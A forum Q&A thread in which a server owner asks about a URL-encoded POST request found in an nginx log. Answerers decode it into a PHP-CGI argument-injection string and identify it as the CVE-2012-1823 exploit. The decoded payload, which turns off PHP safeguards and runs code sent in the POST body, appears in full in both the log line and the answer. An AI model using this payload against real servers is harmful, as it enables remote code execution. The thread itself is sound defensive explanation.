1

I found some thing upnormal in my nginx server log.

74.208.235.132 - - [06/Oct/2017:03:36:20 +0000] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 178 "-" "-"

Its looks someone try to hack my site. But what the meaning of this hex decimal like value

5

It is actually URL-Encoding and decodes to this:

cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n

Its some kind of PHP interpreter exploit I think. You can read about some more of this here: Protect against POST //cgi-bin/php attacks?

Btw: The actual code they are trying to inject is probably in the POST-Content. (Most likely not logged by your webserver)

  • Its there any way to logged the inject code – SuperKrish Oct 6 '17 at 6:29
  • @Ben, yep auto_prepend_file=php://input -n there is the POST-Content. – jmingov Oct 6 '17 at 6:34
  • In this PDF fron GIAC you have the exploit attemp: giac.org/paper/gsec/32921/introduction-linux-based-malware/…. Its old, its called “Zollard” exploit and has a CVE asigned: CVE-2012-1823 – jmingov Oct 6 '17 at 6:37
  • @jmingov Thx! Had never really seen this before. – Ben Oct 6 '17 at 7:08

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.